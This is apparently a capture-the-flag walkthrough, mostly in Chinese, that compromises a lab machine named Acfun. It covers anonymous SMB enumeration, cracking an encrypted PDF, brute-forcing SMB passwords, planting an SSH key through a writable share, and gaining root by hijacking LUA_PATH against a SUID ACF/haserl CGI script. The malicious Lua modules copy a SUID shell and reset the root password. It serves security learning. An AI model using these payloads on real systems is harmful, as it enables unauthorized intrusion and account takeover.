

- User Flag (xueli) : flag{user-a7048bfa96c2a4bbd4fbf76465e645fb}
- Root Flag : flag{root-e0694a86a8214b57d9bc3f8dae30bf33}

```
[*] Scanning 192.168.1.113 for open ports (Fast mode) ...
[+] Port 22 is open
[+] Port 139 is open
[+] Port 445 is open

[*] Attempting anonymous SMB login to 192.168.1.113...
[+] Successfully connected (Anonymous/Null Session)!

[*] Enumerating shares:
- public (Type: 0) -
  [*] Attempting to list files in public:
    - ACF_Framework_Internal_Guide.pdf (Size: 3020 bytes)
- IPC$ (Type: 3) - IPC Service (Samba Server)
```

成功下载一个加密的 PDF 文件
下载的 PDF 是加密的
rockyou.txt
pdfcrack -f ACF_Framework_Internal_Guide.pdf -w /usr/share/wordlists/rockyou.txt
提示密码为： 1234567890 。

INTERNAL TECHNICAL MEMORANDUM

Subject: Standardized Alpine Configuration Framework (ACF) Deployment

Author Mail:	leaf@acfun.dsz
Reference:	https://wiki.alpinelinux.org/wiki/ACF
Security Level:	Classified / Staff Only

1. Introduction to ACF

The Alpine Configuration Framework (ACF) is a specialized framework designed to provide a web-based interface for managing Alpine Linux systems. It operates as a collection of Lua-based applications that interact with the system's configuration files through a secure web server.

2. Core Components

The deployment requires the following core packages to be initialized on the target node:

- **acf-core**: The base framework and libraries.
- **acf-lib**: Common functions used by ACF applications.
- **haserl**: A CGI wrapper for dynamic web content.

3. Deployment Instructions

```
apk update && apk add acf-core acf-lib
setup-acf
```

4. Security Compliance

All configuration modifications through the ACF interface are logged. Users must ensure that their local environment variables are set to the corporate standard before accessing the framework.

Authorized by: Global Infrastructure Division

发现有 leaf 用户

这里尝试过爆破 ssh，但是几次密码错误后，IP 会被封禁，SSH 连接会报 Connection reset by peer。

可以尝试爆破 SMB，

crackmapexec smb 192.168.1.113 -u leaf -p /usr/share/wordlists/rockyou.txt

爆破出密码为 gothic

```
(kali㉿kali)-[~/Desktop]
$ ssh-keygen -t rsa -f ./my_key
Generating public/private rsa key pair.
Enter passphrase for "./my_key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./my_key
Your public key has been saved in ./my_key.pub
The key fingerprint is:
SHA256:AsnNgP/l0W/4BA1jL90e2uqw1N+Fb12xzifoyleyQ4c kali@kali
The key's randomart image is:
+--[RSA 3072]--+
|
| ..
| .. = +
| .+ 0 0 *
| .. 0 = + .
| ..oS. B 0 0
| ..... E 00.
| 0 .B *+ +
| . +.. B..+=
| ..=0.. 00
+--[SHA256]--+
```

```
(kali㉿kali)-[~/Desktop]
$ _ smbclient //192.168.1.113/leaf -U leaf%gothic
=
Try "help" to get a list of possible commands.
```

```
(kali㉿kali)-[~/Desktop]
$ _ smbclient //192.168.1.113/leaf -U leaf%gothic
=
Try "help" to get a list of possible commands.
smb: \> mkdir.ssh
mkdir.ssh: command not found
smb: \> cd.ssh
cd.ssh: command not found
smb: \> mkdir .ssh
NT_STATUS_OBJECT_NAME_COLLISION making remote directory \.ssh
smb: \> cd .ssh
smb: \.ssh\> put authorized_keys
putting file authorized_keys as \.ssh\authorized_keys (55.0 kb/s) (average 55.0 kb/s)
smb: \.ssh\> █
```

```
kali@kali: ~/Desktop
Session Actions Edit View Help
(kali@kali)~[~/Desktop]
$ cp my_key.pub authorized_keys
(kali@kali)~[~/Desktop]
$ ssh -i my_key leaf@192.168.1.113
The authenticity of host '192.168.1.113 (192.168.1.113)' can't be established
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.113' (ED25519) to the list of known hosts.

leaf@Acfun:~$
```

用 leaf:gothic 登录 SMB 时，发现我们对其家目录 /home/leaf 有写入权限可以直接把自己的 SSH 公钥写进去，实现免密登录，从而彻底绕过 Fail2Ban 的密码尝试限制。

本地生成密钥对：

```
ssh-keygen -t rsa -f ./my_key
```

连接 SMB：

```
smbclient //192.168.1.113/leaf -U leaf%gothic
```

在 SMB 交互中创建 .ssh 目录：

```
smb: \> mkdir .ssh
```

```
smb: \> cd .ssh
```

将公钥上传并重命名：

先在本地终端执行：

```
cp my_key.pub authorized_keys
```

回到 SMB 终端执行：

```
smb: \.ssh\> put authorized_keys
```

```
ssh -i my_key leaf@192.168.1.113
```

成功登录，获得 leaf 用户的 Shell

```
kali@kali: ~/Desktop
Session Actions Edit View Help
Warning: Permanently added '192.168.1.113' (ED25519) to the list of known hosts.

leaf@Acfun:~$ netstat -tlnp
netstat: can't scan /proc - are you root?
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
-
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
-
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN
-
tcp        0      0 127.0.0.1:443           0.0.0.0:*               LISTEN
-
tcp        0      0 :::139                  :::*                    LISTEN
-
tcp        0      0 :::22                   :::*                    LISTEN
-
tcp        0      0 :::445                  :::*                    LISTEN
-
leaf@Acfun:~$
```

```
leaf@Acfun:~$ ps aux | grep http
2256 nobody    0:00 /usr/sbin/mini_httpd -i /run/mini_httpd/mini_httpd.pid -
C /etc/mini_httpd/mini_httpd.conf
10019 leaf      0:00 grep --color=auto http
leaf@Acfun:~$
```

```
leaf@Acfun:~$ find / -perm -u=s -type f 2>/dev/null
/tmp/sh
/bin/umount
/bin/bbsuid
/bin/mount
/usr/bin/haserl-lua5.4
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
```

usr/share/acf/www/cgi-bin/acf 这是一个 SUID Root 文件。

一个基于 Haserl 和 Lua 编写的 CGI 脚本。最致命的漏洞在于这一行：require("acf.mvc")。在 Lua 中，require 函数加载模块时，会去搜索环境变量 LUA_PATH 指定的路径。由于该 CGI 脚本具有 SUID Root 权限，如果在执行它之前，我们修改了 LUA_PATH 环境变量，让它去加载我们伪造的 mvc.lua 模块，那么我们伪造的 Lua 代码就会以 Root 权限执行

```
leaf@Acfun:~$ # 1. 构造恶意 Payload 并在本地起一个假的 mvc.lua
mkdir -p /tmp/acf
echo 'local mvc = {}; function mvc:new() os.execute("cat /root/root.txt"); re
turn self; end; function mvc:read_config() end; function mvc:dispatch() end;
function mvc:destroy() end; return mvc' > /tmp/acf/mvc.lua

# 2. 劫持 Lua 搜索路径
export LUA_PATH="/tmp/?.lua;;"

# 3. 触发漏洞
# 注意：这实际上是在调用 SUID 的 /usr/bin/haserl-lua5.4 来解释 acf 这个脚本！

/usr/share/acf/www/cgi-bin/acf
flag{root-e0694a86a8214b57d9bc3f8dae30bf33}
flag{root-e0694a86a8214b57d9bc3f8dae30bf33}
```


忘了还有一个 user，在 xueli 的家目录

```
leaf@Acfun:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
minihttpd:x:101:65533:minihttpd:/var/www/localhost/htdocs:/sbin/nologin
leaf:x:1000:1000::/home/leaf:/bin/bash
xueli:x:1001:1001::/home/xueli:/bin/bash
leaf@Acfun:~$
```

同样提权：

```
mkdir -p /tmp/acf
```

```
cat << 'EOF' > /tmp/acf/mvc.lua
```

```
local mvc = {}
```

```
function mvc:new()
```

```
    os.execute("echo '--- User Flag (xueli) ---'")
```

```
    os.execute("cat /home/xueli/user.txt")
```

```
    os.execute("echo '\n--- Root Flag ---'")
```

```
    os.execute("cat /root/root.txt")
```

```
    return self
```

```
end
```

```
function mvc:read_config() end
```

```
function mvc:dispatch() end
```

```
function mvc:destroy() end
```

```
return mvc
```

```
EOF
```

```
export LUA_PATH="/tmp/?.lua;:"
```

```
/usr/share/acf/www/cgi-bin/acf >/dev/null 2>&1
```

```
leaf@Acfun:~$ /usr/share/acf/www/cgi-bin/acf
--- User Flag (xueli) ---
flag{user-a7048bfa96c2a4bbd4fbf76465e645fb}

--- Root Flag ---
flag{root-e0694a86a8214b57d9bc3f8dae30bf33}
--- User Flag (xueli) ---
flag{user-a7048bfa96c2a4bbd4fbf76465e645fb}

--- Root Flag ---
flag{root-e0694a86a8214b57d9bc3f8dae30bf33}
```

提权到 root:

```
leaf@Acfun:~$ mkdir -p /tmp/acf

cat << 'EOF' > /tmp/acf/mvc.lua
local mvc = {}
function mvc:new()
    os.execute("cp /bin/sh /tmp/rootshell")
    os.execute("chmod 4777 /tmp/rootshell")
    return self
end
function mvc:read_config() end
function mvc:dispatch() end
function mvc:destroy() end
return mvc
EOF
leaf@Acfun:~$ export LUA_PATH="/tmp/?.lua;;"
/usr/share/acf/www/cgi-bin/acf >/dev/null 2>&1
leaf@Acfun:~$ ls -la /tmp/rootshell
-rwsrwxrwx  1 root  root    808712 Apr 27 16:00 /tmp/rootshell
leaf@Acfun:~$
```

中间尝试了好多方法:

首先尝试的是直接伪造的 Lua 代码中的 `os.execute()` 命令, 我们只需要让这个命令去 复制一个可以提供 Shell 的程序

但是显然失败了

```
leaf@Acfun:~$ /tmp/rootshell -p
rootshell: applet not found
leaf@Acfun:~$
```

这台靶机运行的是 Alpine Linux 。现代 Shell（包括 Bash 和较新版本的 BusyBox sh ）内置的 安全防御机制：

当 Shell 发现自己是被 SUID 启动时（即真实 UID 和有效 UID 不一致），它为了防止安全漏洞，会 主动放弃（Drop）掉 SUID 的权限，强制把自己降级回真实的普通用户权限。

通常情况下，执行 `/bin/bash -p` 或者 `/bin/sh -p` 可以让它不丢弃权限。但 Alpine 里的 BusyBox sh 可能没有实现或者忽略了 `-p` 参数，导致 SUID Shell 提权法失效。

```
leaf@Acfun:~$ export LUA_PATH="/tmp/?.lua;;"
/usr/share/acf/www/cgi-bin/acf >/dev/null 2>&1
leaf@Acfun:~$ ls -la /tmp/rootshell
-rwsrwxrwx 1 root root 808712 Apr 27 16:00 /tmp/rootshell
leaf@Acfun:~$ /tmp/rootshell -p
rootshell: applet not found
leaf@Acfun:~$ ./tmp/rootshell -p
-bash: ./tmp/rootshell: No such file or directory
leaf@Acfun:~$ ./tmp/rootshell -p
-bash: ./tmp/rootshell: No such file or directory
leaf@Acfun:~$ /tmp/rootshell -p
rootshell: applet not found
leaf@Acfun:~$ mkdir -p /tmp/.hidden
leaf@Acfun:~$ cat << 'EOF' > /tmp/acf/mvc.lua
local mvc = {}
function mvc:new()
    os.execute("cp /bin/sh /tmp/.hidden/sh")
    os.execute("chmod 4777 /tmp/.hidden/sh")
    return self
end
function mvc:read_config() end
function mvc:dispatch() end
function mvc:destroy() end
return mvc
EOF
leaf@Acfun:~$ export LUA_PATH="/tmp/?.lua;;"
/usr/share/acf/www/cgi-bin/acf >/dev/null 2>&1
leaf@Acfun:~$ /tmp/.hidden/sh
leaf@Acfun:~$
leaf@Acfun:~$
```


下面是成功的：

可以通过命令强制把 root 用户的密码修改为一个已知的值（比如 123456 ）。

在 Alpine 下，可以使用 `echo "root:123456" | chpasswd` 来非交互式地修改密码。

```
leaf@Acfun:~$  
leaf@Acfun:~$ cat << 'EOF' > /tmp/acf/mvc.lua  
> local mvc = {}  
> function mvc:new()  
>     os.execute("echo 'root:123456' | chpasswd")  
>     return self  
> end  
> function mvc:read_config() end  
> function mvc:dispatch() end  
> function mvc:destroy() end  
> return mvc  
> EOF  
leaf@Acfun:~$ export LUA_PATH="/tmp/?.lua;;"  
leaf@Acfun:~$ /usr/share/acf/www/cgi-bin/acf >/dev/null 2>&1  
leaf@Acfun:~$ su root  
Password:
```